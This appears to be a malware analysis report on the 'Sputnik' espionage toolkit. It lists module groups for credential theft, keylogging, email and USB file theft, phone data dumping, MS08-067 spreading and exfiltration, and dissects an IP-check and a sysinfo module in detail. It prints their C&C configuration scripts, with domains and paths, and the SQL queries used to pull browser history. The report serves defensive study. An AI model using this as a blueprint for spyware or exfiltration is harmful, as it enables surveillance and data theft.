1. Modules, general overview

Module framework

The main component of Sputnik implements a framework for executing the “tasks” that are provided by its C&C servers.

Most of the tasks are provided as one-time PE DLL libraries that are received from the server, executed in memory and then immediately discarded.

Several tasks need to be constantly present, i.e. waiting for the iPhone or Nokia mobile to connect. These tasks are provided as PE EXE files and are installed to the infected machine.

Persistent tasks

  • Once a USB drive is connected, search and extract files by mask/format, including deleted files. Deleted files are restored using a built in file system parser
  • Wait for an iPhone or a Nokia phone to be connected. Once connected, retrieve information about the phone, its phone book, contact list, call history, calendar, SMS messages, browsing history
  • Wait for a Windows Mobile phone to be connected. Once connected, infect the phone with a mobile version of the Sputnik main component
  • Wait for a specially crafted Microsoft Office or PDF document and execute a malicious payload embedded in that document, implementing a one-way covert channel of communication that can be used to restore control of the infected machine
  • Record all the keystrokes, make screenshots
  • Execute additional encrypted modules according to a pre-defined schedule
  • Retrieve e-mail messages and attachments from Microsoft Outlook and from reachable mail servers using previously obtained credentials

One-time tasks

  • Collect general software and hardware environment information
  • Collect filesystem and network share information, build directory listings, search and retrieve files by mask provided by the C&C server
  • Collect information about installed software, most notably Oracle DB, RAdmin, IM software including Mail.Ru agent, drivers and software for Windows Mobile, Nokia, SonyEricsson, HTC, Android phones, USB drives
  • Extract browsing history from Chrome, Firefox, Internet Explorer, Opera
  • Extract saved passwords for Web sites, FTP servers, mail and IM accounts
  • Extract Windows account hashes, most likely for offline cracking
  • Extract Outlook account information
  • Determine the external IP address of the infected machine
  • Download files from FTP servers that are reachable from the infected machine (including those that are connected to its local network) using previously obtained credentials
  • Write and/or execute arbitrary code provided within the task
  • Perform a network scan, dump configuration data from Cisco devices if available
  • Perform a network scan within a predefined range and replicate to vulnerable machines using the MS08-067 vulnerability
  • Replicate via network using previously obtained administrative credentials

Module Groups

Group name Descrition
Recon Modules of this group designed to be used during first stage of cyberattack right after initial infiltration. Their main purpose is to collect general information about target system which helps locate and identify the infected machine, estimate potential value of current computer data and define which other modules should be pushed next. Also, these modules collect initial easy-to-get type of information such as browser history, browser cached credentials and FTP client settings.
Password This group of modules is designed to steal credentials from various applications and resources, from Mail.ru Agent (popupal free app from mail.ru) to MS Outlook credentials and Windows account hashes (including cached Windows Domain account hashes). Capable of using low-level and direct disk access to copy protected files.
Email This group serves stealing emails from local MS Outlook storage or remote POP3/IMAP mail server. It’s capable of dumping full email bodies with headers, saving attachments with predefined file extensions.
USB drive This group is used to steal files from attached USB devices. It monitors USB device events and starts every time new device is attached. It can copy files from predefined extension list, size and age. This group capable of recognition, restoration and copying already deleted files of MS Office document formats by using own FAT-based filesystem parser.
Keyboard This group is dedicated to recording keystrokes, grabbing text from password input fields and making screencaptures.
Persistence Current group contains installer and payload code to plant a plugin in popular applications such as MS Office or Adobe Reader. The backdoor code is activated when specially crafted document is opened on target machine. This is used to regain lost access on a machine in case of unexpected loss of control (C&C server takedown or local malware cleaning).
Spreading Modules of this group are used to scan for other hosts on the network, fingerprint them and then infect via MS08-067 or a list of stolen admin credentials. A module from this group is capable of dumping Cisco network router configuration via SNMP commands and embedded TFTP server.
Mobile Mobile group is used to dump all valuable information about locally attached mobile device. It is capable of copying contact information, calendars, SMS and Emails databases and many other private data. These modules are capable of checking if a device was jailbroken.
Exfiltration While some of other modules work in “offline” mode, collect and store data locally, this group of modules transfers all collected data to the C&C server. Modules of this group are capable of reaching FTP servers, remote network shares as well as local disk drives and copy files from these resources. Unlike Recon data collection modules these modules are designed to run repeatedly and bring only new valuable data.

Missing Modules

Group name Descrition
USB Infection There are modules that copy data files (such as execution logs) related to current malware family from USB drives. However, we haven’t seen a module to infect the USB drives yet. We suspect that this module is capable of infecting removable storage, running arbitrary modules from other groups and save data back to the USB drives.

Summary

The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010. Known samples share one code section, but contain different payloads in the resource section.
All the functionality is implemented in the DllMain function.

This module is a plugin to check Internet connectivity and get an external IP address of current system using popular public services such as 2ip.ru, myip.ru, smart-ip.net.

DllMain

The module collects basic system information such as current computer name, current username, and path to the original executable module where it started from. It creates a unique identifier of current system based on VolumeSerialNumber property of the disk where current Windows system is located or a hash of current computer name and ProductID value of Internet Explorer from HKLMSOFTWAREMicrosoftInternet ExplorerRegistrationProductID. This information is put in the log file in the first place along with current date and time.

This module loads a config/script from local resource AAA and sends out some network requests using standard WinInet API. The config/script AAA has the following contents:

SetOption(conn_a.D_CONN, [65] “nt-windows-online.com;nt-windows-update.com;nt-windows-check.com”)
SetOption(conn_a.D_NAME, [15] “/cgi-bin/nt/sk”)

Call(task_http)

While “conn_a” parameters are used to access C&C server during reporting stage, other parameters which start with “http_” are used to send out http requests. Target hosts as shown above are

  1. 2ip.ru
  2. www.myip.ru
  3. smart-ip.net

The websites are used to get current IP address as it is visible on the Internet. If the machine is behind proxy or NAT router, the IP address might be different from the local one. Interestingly all websites of current module developers’ choice are obviously owned by Russian-speaking people from former CIS countries, first two seem to be Russian and last one is Ukrainian.

The module simply sends HTTP GET requests to the root page of the websites and gets the response code from the headers as well as html/text source of the webpage, which is later uploaded to the C&C.

Current module doesn’t create any local logs, instead all information is kept in memory, which is later compressed using Zlib 1.2.5, encrypted, encoded with Base64 algorithm and submitted to the C&C server.

Sysinfo module

Known variants:

MD5 Compilation date
e36b94cd608e3dfdf82b4e64d1e40681 2012.09.05 09:02:30 (GMT)
a2fe73d01fd766584a0c54c971a0448a 2012.09.05 09:02:30 (GMT)

The files differ only by few values from resources section (which contains configuration data) – code is identical.

This module is a PE DLL, written in C++, compiled with Microsoft Visual Studio 2010.

DLL resides only in memory – it does not drop itself or any other executables to the disk.

It creates %USERPROFILE%Local SettingsTemptmpXX.tmp file (where XX is randomly generated hex number). During the analysis, the file stayed 0-bytes. Most probably, it’s created for further data logs.

DLL collects a range of information about the computer (including the browsers history). This data is written to the memory, compressed with Zlib deflate() function – which also performs some XOR operations on it – encoded with base64 algorithm and sent by the HTTP POST request to the C&C server.

Initialization

After it is loaded to the memory, malware loads and locks resource BBB:AAA:0000, which contains config information;

It gets the information about local system and current process:

  • computer name
  • user name
  • current module name
  • pid

Then it creates a separate thread, which contains the main module functionality.

Main malware thread

First, it constructs an internal filename string “@INFOSYSINFO_%u_%s.bin

where %u is equal to 7 and %s is system time – obtained with use of GetLocalTime and SystemTimeToFileTime – in format:

“%04u%02u%02u_%02u%02u%02u_%03u”

if  FileTimeToSystemTime failed, it uses the default time string:

“16010101_000000_000”

if wsprintfW failed, it uses the default hardcoded filename:

“@INFOSYSINFO_X_00000000_000000_000.txt”

Then it reads the configuration from the resources section and builds the structure containing all the necessary information at specific offsets. This structure is held only in memory.

It contains a resource named “AAA” with the following values in it:

SetOption(conn_a.D_CONN, [65] “nt-windows-online.com;nt-windows-update.com;nt-windows-check.com”)
SetOption(conn_a.D_NAME, [15] “/cgi-bin/nt/sk”)
SetOption(conn_a.D_RPRT, [3] “80”)
SetOption(conn_a.D_SPRT, [3] “80”)
SetOption(conn_a.D_USER, [21] “%removed%”)
SetOption(conn_a.D_MODE, 0x0033)
SetOption(conn_a.D_PASS, 0x00)
SetOption(conn_a.J_CONN, [65] “nt-windows-online.com;nt-windows-update.com;nt-windows-check.com”)
SetOption(conn_a.J_NAME, [15] “/cgi-bin/nt/th”)
SetOption(conn_a.J_USER, [21] “%removed%”)
SetOption(conn_a.J_RPRT, [3] “80”)
SetOption(conn_a.J_SPRT, [3] “80”)
SetOption(conn_a.J_MODE, 0x0033)
SetOption(conn_a.J_PASS, 0x00)
SetOption(conn_a.VERSION_ID, [6] “17486”)
SetOption(conn_a.SEND_DELAY_TIME, [6] “20000”)
SetOption(conn_a.VER_SESSION_ID, [11] “%removed%”)
Call(task_sysinfo)

Malware main thread calls 2 main subroutines:

  • retrieves a lot of system information, including browsing history, and writes it to the in-memory log
  • takes data from the configuration in resources to connect to the C&C and submit collected data

Data collection

Malware collects following information:

  • current file time
  • local time
  • username
  • computer name
  • is admin (if the user has administrative rights)
  • language
  • ansi code package
  • oem code package
  • time zone
  • current module name
  • current directory
  • temp directory path
  • Windows directory path
  • system directory path
  • major OS version
  • minor OS version
  • build number
  • service pack number
  • platform id

Additionally, to obtain default applications for HTTP, HTTPS, HTMLFILE and MAILTO malware uses RegQueryValueEx to check following registry keys under

  • HKCRttpshellopencommand
  • HKCRhttpsshellopencommand
  • HKCRhtmfileshellopencommand
  • HKCRmailtoshellopencommand

Following parameters are retrieved for each disk, including optical drives and shared mounts:

  • root path
  • filesystem name
  • volume name
  • drive type
  • volume serial number
  • filesystem flags
  • maximum component length
  • sectors per cluster
  • bytes per sector
  • number of free clusters
  • number of total clusters
  • free bytes available
  • total number of bytes
  • total number of free bytes

Then it collects information about local network adapters:

  • Adapter Name
  • Adapter Description
  • Address Length
  • Adapter MAC Address
  • Adapter Index
  • Adapter Type
  • DhcpEnabled
  • CurrentIpAddress
  • IpAddressList
  • GatewayList
  • DhcpServer
  • HaveWins
  • PrimaryWinsServer
  • SecondaryWinsServer
  • LeaseObtained
  • LeaseExpires

The malware looks for URL history from following browsers:

Chrome, Mozilla Firefox, Internet Explorer, Opera

1.  Chrome history:

Before the malware is performing the SQL queries on the browsers profile-files, it copies the original file into a temp-file.

To get the Tempfile path and name it makes use of GetTempPathW and GetTempFileNameW with prefix “tmp”.

The Tempfile will be named like this:

tmpXX.tmp

Where XX is a 2-digit number starting from 00.

Malware use following SQL query:

SELECT * FROM urls

to extract URLs (with titles, last visited date) from Chrome history database:

GoogleChromeUser DataDefaultHistory

2. Mozilla history (sub_10015430):

Malware use following SQL query:

SELECT * FROM moz_places

to extract URLs from Mozilla history database:

MozillaFirefoxProfiles%profilename%places.sqlite

In both cases, malware performs SQL related actions with use of functions from embedded SQL library (most probably parts of sqlite3.dll).

3. IE history (sub_10014F50):

Malware calls CoCreateInstance function with following values:

CLSID   3C374A40-BAE4-11CF-BF7D-00AA006946EE Microsoft Url History Service
RIID     AFA0DC11-C313-11D0-831A-00C04FD5AE38 SID_IUrlHistoryStg2

i.e. it uses IUrlHistory interface to search through the history and calls  SHDOCVW!CEnumSTATURL to enumerate URLs.

It also makes use of shdocvw.dll which is responsible to get control over IE. The call-adresses are resolved dynamically:

4. Opera history (sub_10014EB0):

Malware gets the Opera folder path and searches it for URLs in files:

global_history.dat, global.dat

All above subroutines retrieves URL + Title + Last Visited Time and write them to the memory (after the previous data).

Also, a DNS resolve is performed on all domain names.

This module also calls GetEnvironmentStrings to retrieve all environment variables.

It is also interested in current Windows Domain information

  • DomainControllerName
  • DomainControllerAddress
  • DomainControllerAddressType
  • DomainGuid 
  • DomainName
  • DnsForestName
  • Flags  
  • DcSiteName 
  • ClientSiteName

The malware looks for all running processes and all modules loaded into their address space. For each file it retrieves following values from the version info:

  • StringFileInfo%04x%04xSpecialBuild
  • StringFileInfo%04x%04xPrivateBuild
  • StringFileInfo%04x%04xProductVersion
  • StringFileInfo%04x%04xProductName
  • StringFileInfo%04x%04xOriginalFilename
  • StringFileInfo%04x%04xLegalTrademarks
  • StringFileInfo%04x%04xLegalCopyright
  • StringFileInfo%04x%04xInternalName
  • StringFileInfo%04x%04xFileVersion
  • StringFileInfo%04x%04xFileDescription
  • StringFileInfo%04x%04xCompanyName

It looks for installed programs information by enumerating registry key:

SOFTWAREMicrosoftWindowsCurrentVersionUninstall

For each entry it retrieves following values:

  • DisplayName
  • DislayVersion
  • DisplayIcon
  • InstallDate
  • UninstallString
  • InstallSource
  • InstallLocation

It retrieves information about installed USB devices.

Class GUID is hardcoded and equals:

{A5DCBF10-6530-11D2-901F-00C04FB951ED}
